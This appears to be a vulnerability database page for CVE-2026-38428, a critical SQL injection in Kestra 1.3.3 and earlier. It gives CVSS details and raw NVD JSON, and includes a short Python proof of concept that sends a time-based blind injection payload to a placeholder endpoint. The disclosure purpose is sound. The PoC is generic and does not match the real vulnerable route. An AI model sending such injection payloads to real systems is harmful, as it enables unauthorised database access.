Security Vulnerability Report
中文
CVE-2026-38428 CVSS 9.8 CRITICAL

CVE-2026-38428

Published: 2026-05-05 19:16:22
Last Modified: 2026-05-08 19:24:30

Description

Kestra v1.3.3 and before is vulnerable to SQL Injection. The vulnerability occurs because user-controlled input from a GET parameter is directly concatenated into an SQL query without proper sanitization or parameterization. As a result, attackers can inject arbitrary SQL expressions into the database query.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:kestra:kestra:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:kestra:kestra:*:*:*:*:*:*:*:* - VULNERABLE
Kestra <= 1.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-host:8080/api/v1/vulnerable-endpoint" # Malicious payload to test SQL injection (Time-based blind) # Checks if the database pauses execution, confirming injection payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" # Send GET request with the malicious parameter params = { "id": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected (Time-based).") else: print("[-] Vulnerability not detected or payload invalid.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38428", "sourceIdentifier": "[email protected]", "published": "2026-05-05T19:16:21.910", "lastModified": "2026-05-08T19:24:29.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kestra v1.3.3 and before is vulnerable to SQL Injection. The vulnerability occurs because user-controlled input from a GET parameter is directly concatenated into an SQL query without proper sanitization or parameterization. As a result, attackers can inject arbitrary SQL expressions into the database query."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kestra:kestra:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.35", "matchCriteriaId": "8E008DF6-0B6C-42E7-B5B3-7186DAF6CBA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kestra:kestra:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.3.7", "matchCriteriaId": "5F3B783E-390D-4611-9444-813F91DDBDC8"}]}]}], "references": [{"url": "https://github.com/kestra-io/kestra/security/advisories/GHSA-365w-2m69-mp9x", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://www.link.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/kestra-io/kestra/security/advisories/GHSA-365w-2m69-mp9x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}